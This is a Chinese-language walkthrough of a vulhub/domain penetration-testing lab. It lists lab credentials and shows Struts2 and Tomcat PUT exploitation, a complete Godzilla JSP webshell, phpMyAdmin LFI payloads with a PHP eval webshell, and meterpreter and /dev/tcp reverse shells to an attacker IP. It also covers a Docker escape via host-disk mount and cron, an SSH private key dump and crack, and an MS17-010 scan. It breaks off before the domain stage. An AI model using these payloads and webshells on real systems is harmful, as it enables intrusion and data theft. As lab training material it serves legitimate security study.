环境搭建
技术要求：
struts2 漏洞利用
tomcat 漏洞利用
phpmyadmin getshell
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
本次靶机一共三台，一台ubuntu、一台win7域成员主机、一台dc主机
ubuntu要求两张网卡，一张net网卡，一张内网仅主机网卡。net网卡：192.168.12.0 || 仅主机：192.168.183.0
win7只需要一张仅主机网卡即可。IP已经是配好的。不需要动！
dc也只需要一张仅主机网卡即可，和win7一样，不要动！
DC和win7的网卡设置
Ubuntu设置
开机查看网络状态
ubuntu:ubuntu
192.168.16.106
192.168.183.128
域成员机器
douser:Dotest123
192.168.183.129
DC
administrator:Test2008
192.168.183.130
Admin123@
Win7
Dc
Ubuntu
还需要进入ubuntu开启服务，密码ubuntu
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d
nmap端口扫描
nmap -sC -sV -sT -O -A -p 22,2001,2002,2003 192.168.16.108 --min-rate 10000 -oA XX
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open http Jetty 9.2.11.v20150529
2002/tcp open http Apache Tomcat 8.5.19
2003/tcp open http Apache httpd 2.4.25 ((Debian))
Ubuntu Getshell
2001Struts2
web界面是这样的，标题提示了是struts2的框架
工具扫描发现漏洞
命令执行id
Msf上线
kali开启apache服务
service apache2 start
制作msf木马，放在var/www/html下
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.16.104 LPORT=1234 -f elf > shell.elf
远程执行命令
wget http://192.168.16.104/shell.elf
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 1234
exploit
添加执行权限
chmod +x shell.lef
执行命令
成功上线
2002tomcat
Tomcat 8.5.19版本，查询了一下，存在CVE-2017-12615任意写入文件漏洞，漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写（readonly=false），导致我们可以往服务器写文件。
抓个包，修改一下数据包改成put，写入木马（因为是tomcat，所以用jsp后门）
PUT /shell.jsp/ HTTP/1.1Host: 192.168.16.108:2002User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Priority: u=0, iContent-Length: 2617<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>
连接哥斯拉
同样可以反弹msf shell
2003phpMyAdmin
连密码都不用就直接进去了，那就查看一下版本号看看存在什么漏洞
查看版本信息
searchsploit phpmyadmin 4.8.1
searchsploit -m 44924.txt
Payload:
http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm
payload
http://192.168.16.108:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
执行
select "<?php phpinfo();?>"
记录session值
57938ed4b4ba98f7a4aaff40a9fc9da8
Payload：
因为我们写入的东西都会存在sessions里面，我们只需要利用文件包含sessions即可。而且phpmyadmin的sessions默认存储路径是 /tmp/sess_{you session}
select "<?php phpinfo();?>"
http://192.168.16.108:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_57938ed4b4ba98f7a4aaff40a9fc9da8
上传shell文件
select '<?php file_put_contents("shell.php", "<?php @eval(\$_POST[shell]);?>");?>';
new session = 57938ed4b4ba98f7a4aaff40a9fc9da8
http://192.168.16.108:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_57938ed4b4ba98f7a4aaff40a9fc9da8
Docker逃逸
拿到shell之后首先要做的就是看看是否存在内网，扫描一下是否存在其他网段
但是明明是root用户ifconfig的命令却用不了
Docker逃逸漏洞目前已知有
Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞
CVE-2019-5736
emote api 未授权访问
这里的CVE-2019-5736是可以使用的，不过需要另外下载poc，我这里演示另外一种方式，手动挂载宿主磁盘进行ssh登录。
CVE-2019-5736的poc用的是go语言，所以使用这个poc还需下载go并配置go。
1、挂载宿主磁盘
fdisk -l
从返回结果来看sda1、sda2、sda5在/dev目录下，说明是在宿主机
新建一个目录/test，然后将/dev/sda1挂载到新建的目录下
mkdir /shell
chmod 777 /shell
mount /dev/sda1 /shell
ls /shell
反弹shell
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.16.104/5555 0>&1">> /shell/tmp/shell.sh
chmod +x /shell/tmp/shell.sh
cat /shell/tmp/shell.sh
写入crontab计划任务，表示每隔两分钟以root权限执行一次计划
echo '*/1 * * * * root bash /shell/shell.sh' > /shell/etc/crontab
cat /shell/etc/crontab查看是否写入成功
kali nc监听
nc -lvp 5555
本机查看写入成功了
cat /shell/home/ubuntu/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2OnKLlXLp+VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q+vUDtH5pkkj
uFu237oUmhvmtCpSuhHaEVu+URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC
R+yVqQZ00xC6Rej2atOP9mONmNnhLIhQkoolfRrBDV5DCznHO1i7m/CgQ4Qf/LrM
FhfmQJ6suEXx+AAhoK+Wk0OqUwgSqM09FPJE1FvdFy/FGgKx4OzGWPn7VBd/EkpL
3v/AENs/RVCDouRs9lUrZj7OD3BejcUgPfzBZ5v57VjMcbyhGsCtyhfLyoRDuxr/
XutUzlqI94AVqTDdQtpRqOiKI6mSWK9i+hqwk1MNukZKp+2+48m6fb/AMjG4mjnQ
QcNSQwuBryfQxILMVUsOvyfNT2dafn4Q77QLV9rZY6k73wdaGF2RuBwnkZpEtpau
Y2Q2rUAVHl2x3UW3F3NngIWYQ8kU/Usd5hUiFicWAkdVJi2GnFemPpUGBKQgQdEz
JPoUtXJSkZX5l7hxfoGse+268+qdLIHFBprPoU8JH1D4aTPG7HhJv574yxDcaRuW
TUhqhTWoEq5ZkD9tJwPC6u6t/3XwHvx8OjsvCh8AiM75m0XV8Du91Q3bjmt7TzDB
bGuh+1kHXB6QKFwuQ/9v2Litxg5lNDTve5CZMrQlATyi/RWE1eyujxpnbFOL1TmH
6LHinYX4I1bWA2O3rFzBn9vj0aikVa/3aYT9rsHRu7MeNzkQBbtukkzuM7G7ZcuI
/AYbTKq2o7JHhO3rbiOcd22g6ME80JhVlXUNlJPk20u+RescgJKJ7RTLcLiqy08Q
Hepnetq8ijwmRl7DYYDTBry30HpD/JdBbL6OsstGj+uSM50okPGN+9fNemDzITfW
Dj9aN8kHZfIxQxvlx0eK28Kxe7oF/NAIvpV3Exm7zBooBzNqHM3HkphZHwjKSWWN
sZsW4d1VuTRLapTQRYPtOAS5ZCH6tVDIvQU9g8ksxQb5a/MSXU0NUMBnm4WOgt+T
55txs6Plcys+GCLzdD/7EeFiuNlIZ4eyQCBC8jN4azPm+ZWOR+P3zHLPRyTGhm8Y
JHr0aGgIbJ4Qm+JGrz0cIA3No5FciEtPxq1hAkstn93ZBeXkpIGtyI3CrfPdLSo1
l6Ki1V/Uj+rLq3IqLi4anxVZ15EK+xED2Ql3F7GeWZ1SN69wCPvniSPrpK/0hPbj
bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3
fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR+sdUX
m/FXcuyargJYyJ0ChyIb+1RnmcLIedxX/m8Nmy+FKb8d36ailr9al2f0HcKNPfv8
a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo
ml853a7WQEIcH8g+3RX1HvmXP+PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC
SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe+vc5S24V6Nuttvkfrtv3MTW8
-----END RSA PRIVATE KEY-----
ssh_rsa爆破
ssh2john id_rsa > hash
ssh2john工具可以把ssh密钥编译成哈希散列。
john hash --wordlist=/usr/share/wordlists/rockyou.txt
密码是：ubuntu
ssh登录
ssh ubuntu@192.168.16.108 -i id_rsa
内网渗透
内网信息探测su root
sudo -l
sudo /bin/bash
内网信息收集
vim /etc/proxychains.conf
vim /etc/proxychains4.conf
cat /etc/proxychains4.conf | grep "socks5"
msf上线
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.16.104 LPORT=1234 -f elf > shell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 1234
exploit
run autoroute -s 192.168.183.0/24
run autoroute -s 192.168.16.0/24
run autoroute -p
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.128-131
run
后面的不回来，我的基础太垃圾了
